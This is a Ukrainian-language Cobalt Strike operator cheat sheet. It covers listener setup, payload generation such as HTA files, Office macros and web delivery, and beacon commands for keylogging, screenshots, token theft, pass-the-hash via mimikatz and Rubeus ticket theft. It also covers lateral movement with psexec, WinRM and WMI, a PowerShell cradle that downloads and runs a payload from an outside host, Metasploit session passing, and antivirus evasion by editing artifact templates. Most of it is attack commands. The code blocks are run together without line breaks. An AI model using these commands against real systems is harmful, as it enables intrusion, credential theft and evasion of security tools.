Cobalt Strike -> Listeners -> Add/Edit потім ви можете вибрати, де слухати, який вид маяка використовувати (http, dns, smb...) та інше.
Слухачі Peer2Peer
Маяки цих слухачів не потребують безпосереднього спілкування з C2, вони можуть спілкуватися з ним через інші маяки.
Cobalt Strike -> Listeners -> Add/Edit потім вам потрібно вибрати маяки TCP або SMB
TCP маяк встановить слухача на вибраному порту. Щоб підключитися до TCP маяка, використовуйте команду connect <ip> <port> з іншого маяка
smb маяк буде слухати на pipename з вибраним ім'ям. Щоб підключитися до smb маяка, вам потрібно використовувати команду link [target] [pipe].
Генерація та розміщення вразливостей
Генерація вразливостей у файлах
Attacks -> Packages ->
HTMLApplication для файлів HTA
MS Office Macro для офісного документа з макросом
Windows Executable для .exe, .dll або служби .exe
Windows Executable (S) для нестадійного .exe, .dll або служби .exe (краще без стадій, менше IoC)
Генерація та розміщення вразливостей
Attacks -> Web Drive-by -> Scripted Web Delivery (S) Це згенерує скрипт/виконуваний файл для завантаження маяка з cobalt strike у форматах, таких як: bitsadmin, exe, powershell та python
Розміщення вразливостей
Якщо у вас вже є файл, який ви хочете розмістити на веб-сервері, просто перейдіть до Attacks -> Web Drive-by -> Host File та виберіть файл для розміщення та конфігурацію веб-сервера.
Опції маяка
# Виконати локальний .NET бінарний файлexecute-assembly</path/to/executable.exe># Скріншотиprintscreen# Зробити один скріншот за допомогою методу PrintScrscreenshot# Зробити один скріншотscreenwatch# Робити періодичні скріншоти робочого столу## Перейдіть до View -> Screenshots, щоб переглянути їх# keyloggerkeylogger [pid] [x86|x64]## View > Keystrokes, щоб побачити натиснуті клавіші# portscanportscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Впровадити дію сканування портів всередині іншого процесу
portscan [targets] [ports] [arp|icmp|none] [max connections]# Powershell# Імпортувати модуль Powershellpowershell-importC:\path\to\PowerView.ps1powershell<justwritepowershellcmdhere># Імітація користувача## Генерація токена з обліковими данимиmake_token [DOMAIN\user] [password] #Створити токен для імітації користувача в мережіls \\computer_name\c$ # Спробуйте використати створений токен для доступу до C$ на комп'ютеріrev2self# Припинити використання токена, створеного за допомогою make_token## Використання make_token породжує подію 4624: Обліковий запис успішно увійшов. Ця подія дуже поширена в домені Windows, але може бути звужена за допомогою фільтрації за типом входу. Як зазначено вище, використовується LOGON32_LOGON_NEW_CREDENTIALS, який має тип 9.
# Ухилення UACelevatesvc-exe<listener>elevateuac-token-duplication<listener>runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
## Вкрасти токен з pid## Подібно до make_token, але вкрадає токен з процесуsteal_token [pid] # Крім того, це корисно для мережевих дій, а не для локальних дій## З документації API ми знаємо, що цей тип входу "дозволяє викликаючому клонувати свій поточний токен". Тому вивід Beacon показує Impersonated <current_username> - він імітує наш власний клонований токен.
ls \\computer_name\c$ # Спробуйте використати створений токен для доступу до C$ на комп'ютеріrev2self# Припинити використання токена з steal_token## Запустити процес з новими обліковими данимиspawnas [domain\username] [password] [listener] #Зробіть це з каталогу з доступом на читання, наприклад: cd C:\## Подібно до make_token, це породить подію Windows 4624: Обліковий запис успішно увійшов, але з типом входу 2 (LOGON32_LOGON_INTERACTIVE). Він деталізує користувача-викликача (TargetUserName) та імітованого користувача (TargetOutboundUserName).
## Впровадити в процесinject [pid] [x64|x86] [listener]## З точки зору OpSec: Не виконуйте перетинну ін'єкцію, якщо вам дійсно потрібно (наприклад, x86 -> x64 або x64 -> x86).
## Передати хеш## Цей процес модифікації потребує патчування пам'яті LSASS, що є високоризикованою дією, вимагає привілеїв локального адміністратора та не є дуже життєздатним, якщо увімкнено захищений процес Light (PPL).
pth [pid] [arch] [DOMAIN\user] [NTLM hash]pth [DOMAIN\user] [NTLM hash]## Передати хеш через mimikatzmimikatzsekurlsa::pth/user:<username>/domain:<DOMAIN>/ntlm:<NTLMHASH>/run:"powershell -w hidden"## Без /run, mimikatz створює cmd.exe, якщо ви працюєте як користувач з робочим столом, він побачить оболонку (якщо ви працюєте як SYSTEM, ви готові до роботи)
steal_token<pid>#Вкрасти токен з процесу, створеного mimikatz## Передати квиток## Запитати квитокexecute-assemblyC:\path\Rubeus.exeasktgt/user:<username>/domain:<domain>/aes256:<aes_keys>/nowrap/opsec## Створити нову сесію входу для використання з новим квитком (щоб не перезаписувати компрометований)make_token<domain>\<username>DummyPass## Записати квиток на машині атакуючого з сеансу poweshell & завантажити його[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
kerberos_ticket_useC:\Users\Administrator\Desktop\jkingTGT.kirbi## Передати квиток від SYSTEM## Створити новий процес з квиткомexecute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
## Вкрасти токен з цього процесуsteal_token<pid>## Витягти квиток + Передати квиток### Перелік квитківexecute-assemblyC:\path\Rubeus.exetriage### Витягти цікавий квиток за luidexecute-assemblyC:\path\Rubeus.exedump/service:krbtgt/luid:<luid>/nowrap### Створення нової сеансу входу, зауважте luid та processidexecute-assemblyC:\path\Rubeus.execreatenetonly/program:C:\Windows\System32\cmd.exe### Вставте квиток у створений сеанс входуexecute-assemblyC:\path\Rubeus.exeptt/luid:0x92a8c/ticket:[...base64-ticket...]### Нарешті, вкрадіть токен з цього нового процесуsteal_token<pid># Бічний рух## Якщо токен було створено, він буде використанийjump [method] [target] [listener]## Методи:## psexec x86 Використовуйте службу для запуску артефакту служби EXE## psexec64 x64 Використовуйте службу для запуску артефакту служби EXE## psexec_psh x86 Використовуйте службу для запуску однорядкового скрипту PowerShell## winrm x86 Виконайте сценарій PowerShell через WinRM## winrm64 x64 Виконайте сценарій PowerShell через WinRMremote-exec [method] [target] [command]## Методи:## psexec Віддалено виконайте через Менеджер служб## winrm Віддалено виконайте через WinRM (PowerShell)## wmi Віддалено виконайте через WMI## Для виконання маяка з wmi (його немає в команді jump) просто завантажте маяк та виконайте йогоbeacon> uploadC:\Payloads\beacon-smb.exebeacon> remote-execwmisrv-1C:\Windows\beacon-smb.exe# Передача сеансу в Metasploit - Через прослуховувач## На хості metaploitmsf6>useexploit/multi/handlermsf6exploit(multi/handler) >setpayloadwindows/meterpreter/reverse_httpmsf6exploit(multi/handler) >setLHOSTeth0msf6exploit(multi/handler) >setLPORT8080msf6exploit(multi/handler) >exploit-j## На cobalt: Listeners > Додати та встановити Payload на Foreign HTTP. Встановіть Host на 10.10.5.120, Port на 8080 та натисніть Save.
beacon> spawnmetasploit## Ви можете спавнити лише x86 сеанси Meterpreter з іноземним прослуховувачем.# Передача сеансу в Metasploit - Через впровадження shellcode## На хості metasploitmsfvenom-pwindows/x64/meterpreter_reverse_httpLHOST=<IP>LPORT=<PORT>-fraw-o/tmp/msf.bin## Запустіть msfvenom та підготуйте прослуховувач multi/handler## Скопіюйте bin-файл на хост cobalt strikepsshinject<pid>x64C:\Payloads\msf.bin#Впровадження метасплоіт-шеллкоду в процес x64# Передача сеансу metasploit в cobalt strike## Згенеруйте безстадійний шелл-код Beacon, перейдіть до Атак > Пакети > Виконуваний файл Windows (S), виберіть потрібний прослуховувач, виберіть Raw як тип виводу та виберіть використання x64 навантаження.
## Використовуйте post/windows/manage/shellcode_inject в metasploit для впровадження згенерованого шелл-коду cobalt srike
# Перехід## Відкрийте socks-проксі в командному серверіbeacon> socks1080# Підключення через SSHbeacon> ssh10.10.17.12:22usernamepassword
Уникання АВ
Набір артефактів
Зазвичай в /opt/cobaltstrike/artifact-kit ви можете знайти код та попередньо скомпільовані шаблони (в /src-common) навантажень, які cobalt strike збирається використовувати для генерації бінарних маяків.
Використовуючи ThreatCheck зі створеним заднім проходом (або просто з скомпільованим шаблоном), ви можете знайти, що спонукає захисника до спрацювання. Зазвичай це рядок. Тому ви можете просто змінити код, який генерує задній прохід, щоб цей рядок не з'являвся у кінцевому бінарному файлі.
Після модифікації коду просто запустіть ./build.sh з тієї ж теки та скопіюйте папку dist-pipe/ на клієнт Windows у C:\Tools\cobaltstrike\ArtifactKit.
Не забудьте загрузити агресивний скрипт dist-pipe\artifact.cna, щоб вказати Cobalt Strike використовувати ресурси з диска, які ми хочемо, а не завантажені.
Набір ресурсів
Папка ResourceKit містить шаблони для скриптових навантажень Cobalt Strike, включаючи PowerShell, VBA та HTA.
Використовуючи ThreatCheck з шаблонами, ви можете знайти, що не подобається захиснику (в даному випадку AMSI) та змінити це:
Змінюючи виявлені рядки, можна створити шаблон, який не буде виявлений.
Не забудьте завантажити агресивний скрипт ResourceKit\resources.cna, щоб вказати Cobalt Strike використовувати ресурси з диска, які ми хочемо, а не завантажені.